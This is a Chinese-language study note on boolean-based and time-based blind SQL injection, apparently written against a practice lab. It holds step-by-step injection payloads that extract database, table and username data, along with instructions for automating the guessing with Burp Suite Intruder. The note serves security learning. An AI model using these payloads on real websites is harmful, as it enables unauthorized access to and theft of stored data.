
笔记:sql盲注
盲注主要分为两种,一种为时间类型盲注,一种为布尔类型盲注
布尔型:
判断是否是布尔类型的:当一个界面存在注入,但是没有显示位,没有SQL语句执行错误信息,由于布尔类型的注入只会告知是或者不是,所以只能通过页面返回的对与错来进行一个SQL的注入。
1、判断输入是否有闭合符
2、判断闭合符
3、查询当前数据库库名
4、查询指定库的所有表
5、查询字段名
6、查询字段内容
1、判断输入是否有闭合符
payload:
id=1 and 1=2
如果显示you are in 表示成功进入,则存在闭合符,即是字符型,因为1=2 这个假命题被当成一个字符串处理而不是判断语句。
2、判断闭合符
- 首先猜闭合符,例如 猜 ') 如果没显示you are in 表示猜中了一部分
- 然后把 ') 的一部分去掉变成 ' ,此时显示you are in 说明猜中了,闭合符就是 '
3、判断当前数据库
(1)判断数据库名长度
判断当前数据库名长度(知道数据库名长度就可以减少爆破时的攻击次数,大大减少网页瘫痪或者被对手发现的可能)
id=1' and length(database()) =n --+ --n是指猜的数字
(2)猜数据库名
知道了数据库名长度是8,我们也可以通过同样的方法,通过是否能进入页面判断这个数据库名
id=1' and substr(database(),1,1)='s' --+
布尔盲注主要靠猜!当我们输入的东西猜对了,页面就显示you are in,如果没猜对就啥也不显示,当我们想知道数据库库名时,就截取指定库的第一个字母从A-Z逐个猜,这种没有技术含量但重复性很大的事,我们可以交给一个程序 Burp Suite进行爆破 , 我们还需要一个FoxyProxy代理。
(3) Burp Suite进行爆破。
当我们将FoxyProxy打开,把代理权给Burp Suite,打开Burp Suite进行抓包。这个包就是我们猜数据库名的那条指令。
将这个包发送到intruder进行爆破
爆破类型我们是多个位置爆破所以选择Cluster bomb,因为我们需要爆破的有两个位置分别是
- 数据库名的第几位
- 数据库名
所以我们把这两个位置选中 add
接下来我们为这两个位置写字典
因为字典一是代表数据库名的第几个字母,我们已经知道数据库名是8个字母组成,所以字典一的内容就是1-8。字典二是爆破数据库名,数据库名是由字母组成所以字典二是字母a-z。
设置好字典以后就可以开始爆破了。爆破成功后排序就可以得到数据库名:security.
4、判断指定库的所有表
(1)判断当前库有多少个表
id=1' and (select count(table_name) from information_schema.tables
where table_schema='security')=4 -- -
(2)判断指定库中表名最多有几个字母
id=1' and length((select table_name from information_scheam.tables
where table_schema=database() limit 0,1))=6 -- -
(3)Burp Suite进行爆破。
爆破位置:?id=1 and substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1)='a'
字典一:security库中有4个表,所以字典一内容是0-3
字典二:指定库中最长表名有n个字母,所以字典二内容是1-n(可以挨个试试看看最长是几位,我在爆破时直接取了20)
字典三:指定表的表名,所以字典内容是字母a-z
?id=1 and substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1)='a'-- -
6、爆破内容
(1)判断内容中有几个用户
id=1' and (select count(username) from security.users)=13 -- -
(2)判断内容名有最多有几个字母
id=1' and length((select username from security.users limit 0,1))=4 -- -
(3) Burp Suite进行爆破。
爆破位置:?id=1 and substr((select username from security.users limit 0,1),1,1)='a'-- -
?id=1 and substr((select username from security.users limit 0,1),1,1)=’a’-- -
时间型:
web页面只返回一个正常页面。利用页面响应时间不同,逐个猜解数据
- 页面上没有显示位和SQL语句执行的错误信息
- 正确执行和错误执行的返回界面一样
True页面
False页面
3、函数
sleep()
语法:
sleep(参数)
#参数为休眠时长,以秒为单位,可以为小数
用法:
SELECT sleep(3);
#延迟3秒查询
if()
语法:
if(condition,true,false)
用法:
SELECT if(1=1,sleep(0),sleep(3));
#1=1为True,响应延迟0秒
SELECT if(1=2,sleep(0),sleep(3));
#1=2为False,响应延迟3秒
4、判断闭合符
?id=1 and sleep(2)
?id=1' and sleep(2)--+
?id=1" and sleep(2)--+
?id=1') and sleep(2)--+
?id=1") and sleep(2)--+
#哪一种是2秒才响应就是哪种
5、构造paylod
?id=1' and if(ascii(substr((select database()),1,1))>=ASCII码,sleep(0),sleep(3))--+
?id=1' and if(ascii(substr((select database()),1,1))<=ASCII码,sleep(0),sleep(3))--+
#用二分法将第一位字符验证出来
?id=1' and if(ascii(substr((select database()),2,1))>=ASCII码,sleep(0),sleep(3))--+
?id=1' and if(ascii(substr((select database()),2,1))<=ASCII码,sleep(0),sleep(3))--+
#用二分法将第二位字符验证出来
以此类推最终得到所有字符(与布尔型一样可以爆破)